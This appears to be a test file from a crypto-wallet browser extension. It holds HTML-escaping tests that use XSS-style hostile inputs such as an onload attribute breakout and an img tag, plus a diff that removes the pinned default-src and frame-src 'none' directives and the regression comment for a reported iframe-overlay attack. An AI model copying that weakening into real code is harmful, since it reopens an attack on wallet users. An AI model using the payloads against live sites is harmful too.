test("escapes quotes, which the textContent round trip did not", () => {
expect(escapeHtml('a"b')).toBe("a&quot;b");
expect(escapeHtml("a'b")).toBe("a&#39;b");
});
test("does not double-escape an ampersand it just introduced", () => {
expect(escapeHtml("&lt;")).toBe("&amp;lt;");
expect(escapeHtml("&amp;")).toBe("&amp;amp;");
});
test("leaves a string with nothing to escape untouched", () => {
expect(escapeHtml("USDC")).toBe("USDC");
expect(escapeHtml("")).toBe("");
});
test("renders the hostile symbol inert", () => {
const out = escapeHtml(HOSTILE_SYMBOL);
expect(out).not.toContain("<");
expect(out).not.toContain(">");
expect(out).not.toContain('"');
expect(out).toContain("&lt;iframe");
});
// A quoted attribute is broken out of by a quote, a bare one by a
// space; both are closed here. Asserted as a whole attribute rather
// than character by character, because it is the attribute that has to
// survive, not the escape table.
test("a value carrying a quote stays inside its attribute", () => {
const evil = '" onload="alert(1)';
const attr = `data-copy="${escapeHtml(evil)}"`;
expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
expect(attr.split('"').length - 1).toBe(2);
});
test("null and undefined render as nothing rather than as words", () => {
expect(escapeHtml(null)).toBe("");
expect(escapeHtml(undefined)).toBe("");
});
test("coerces a non-string without losing the escape", () => {
expect(escapeHtml(42)).toBe("42");
expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
});
});
describe("displaySymbol", () => {
test("passes every symbol in the bundled list through unchanged", () => {
const { TOKENS } = require("../src/shared/tokenList");
for (const t of TOKENS) {
expect([t.address, displaySymbol(t.symbol)]).toEqual([
t.address,
t.symbol,
]);
}
});
test("caps an over-long symbol and marks it as truncated", () => {
const long = "A".repeat(4096);
const out = displaySymbol(long);
expect(out.length).toBe(MAX_SYMBOL_LENGTH);
expect(out.endsWith("…")).toBe(true);
});
test("keeps a symbol of exactly the cap intact", () => {
const exact = "A".repeat(MAX_SYMBOL_LENGTH);
expect(displaySymbol(exact)).toBe(exact);
});
test("substitutes a placeholder for an absent symbol", () => {
expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
});
// The cap is a layout bound and nothing more: it must not be mistaken
// for the thing that makes a symbol safe to render. A short hostile
// symbol passes through it untouched, and is inert only because the
// caller escapes it afterwards.
test("does not sanitize — a short markup symbol survives it verbatim", () => {
expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
"&lt;img src=x&gt;",
);
});
});

View File

@@ -13,33 +13,6 @@
// an exact match on the token set is what keeps the next edit from // an exact match on the token set is what keeps the next edit from
// smuggling one in alongside. // smuggling one in alongside.
// //
// It is also the anti-regression check for #307. The policy used to declare
// script-src and object-src and nothing else, which left every directive
// that does not fall back to them — and, absent default-src, every one that
// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
// load a full-viewport cross-origin iframe over the wallet's own UI. The
// escaping in src/shared/html.js is the primary fix; default-src is what
// stops the next escape that slips from reaching the network.
//
// Every directive below is pinned exactly, because each of the four
// loosenings is load-bearing and none of them may grow:
//
// style-src 'unsafe-inline' src/popup/index.html and the view helpers
// use style="..." attributes throughout, which
// CSP blocks without it. Chrome enforces this
// on attributes, not just <style> blocks, and
// Firefox has never implemented style-src-attr,
// so there is no narrower spelling available.
// img-src data: blockies are data: PNGs assigned to img.src.
// connect-src https: http: the RPC endpoint is user-configurable, and a
// local node over http://127.0.0.1 is a
// supported configuration — the Firefox e2e
// suite runs on exactly that.
// frame-src/form-action/base-uri named rather than inherited: form-action
// and base-uri do not fall back to default-src
// at all, and frame-src 'none' is what kills
// the reported attack outright.
//
// build.js copies these files to dist/<target>/manifest.json verbatim, so // build.js copies these files to dist/<target>/manifest.json verbatim, so
// what is asserted here is what ships. // what is asserted here is what ships.
@@ -48,22 +21,8 @@ const path = require("path");
const MANIFEST_DIR = path.join(__dirname, "..", "manifest"); const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
const EXPECTED_DIRECTIVES = { const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
"default-src": ["'self'"], const EXPECTED_OBJECT_SRC = ["'self'"];
"script-src": ["'self'", "'wasm-unsafe-eval'"],
"object-src": ["'self'"],
"style-src": ["'self'", "'unsafe-inline'"],
"img-src": ["'self'", "data:"],
"connect-src": ["'self'", "http:", "https:"],
"frame-src": ["'none'"],
"form-action": ["'none'"],
"base-uri": ["'none'"],
};
// Directives that fetch script. Nothing that can execute code may name a
// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
// single deliberate exception and it is pinned above.
const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
const FORBIDDEN_SOURCES = [ const FORBIDDEN_SOURCES = [
"'unsafe-eval'", "'unsafe-eval'",
@@ -94,31 +53,26 @@ function parseCsp(policy) {
function assertPolicy(policy) { function assertPolicy(policy) {
const directives = parseCsp(policy); const directives = parseCsp(policy);
// Exact, in both directions: a directive that appears here and not in expect(Object.keys(directives).sort()).toEqual([
// EXPECTED_DIRECTIVES is an unreviewed addition, and one that "object-src",
// disappears silently reopens whatever it was closing. "script-src",
expect(Object.keys(directives).sort()).toEqual( ]);
Object.keys(EXPECTED_DIRECTIVES).sort(), expect(directives["script-src"].slice().sort()).toEqual(
EXPECTED_SCRIPT_SRC,
); );
for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) { expect(directives["object-src"].slice().sort()).toEqual(
expect([name, directives[name].slice().sort()]).toEqual([ EXPECTED_OBJECT_SRC,
name, );
sources.slice().sort(), for (const source of FORBIDDEN_SOURCES) {
]); expect(directives["script-src"]).not.toContain(source);
} expect(directives["object-src"]).not.toContain(source);
for (const name of SCRIPT_DIRECTIVES) {
for (const source of FORBIDDEN_SOURCES) {
expect(name + " " + directives[name].join(" ")).not.toContain(
" " + source,
);
}
} }
} }
describe("shipped Content Security Policy", () => { describe("shipped Content Security Policy", () => {
// MV3 takes an object and applies extension_pages to the popup and the // MV3 takes an object and applies extension_pages to the popup and the
// background service worker, which is where libsodium runs. // background service worker, which is where libsodium runs.
test("chrome MV3 ships the pinned policy, default-src included", () => { test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
const csp = readManifest("chrome").content_security_policy; const csp = readManifest("chrome").content_security_policy;
expect(typeof csp).toBe("object"); expect(typeof csp).toBe("object");
expect(Object.keys(csp)).toEqual(["extension_pages"]); expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -133,7 +87,7 @@ describe("shipped Content Security Policy", () => {
// Firefox before 106 rejects an MV2 policy string that omits // Firefox before 106 rejects an MV2 policy string that omits
// object-src and falls back to its own default, discarding everything // object-src and falls back to its own default, discarding everything
// declared here. Same policy as Chrome, different manifest shape. // declared here. Same policy as Chrome, different manifest shape.
test("firefox MV2 ships the pinned policy, default-src included", () => { test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
const csp = readManifest("firefox").content_security_policy; const csp = readManifest("firefox").content_security_policy;
expect(typeof csp).toBe("string"); expect(typeof csp).toBe("string");
assertPolicy(csp); assertPolicy(csp);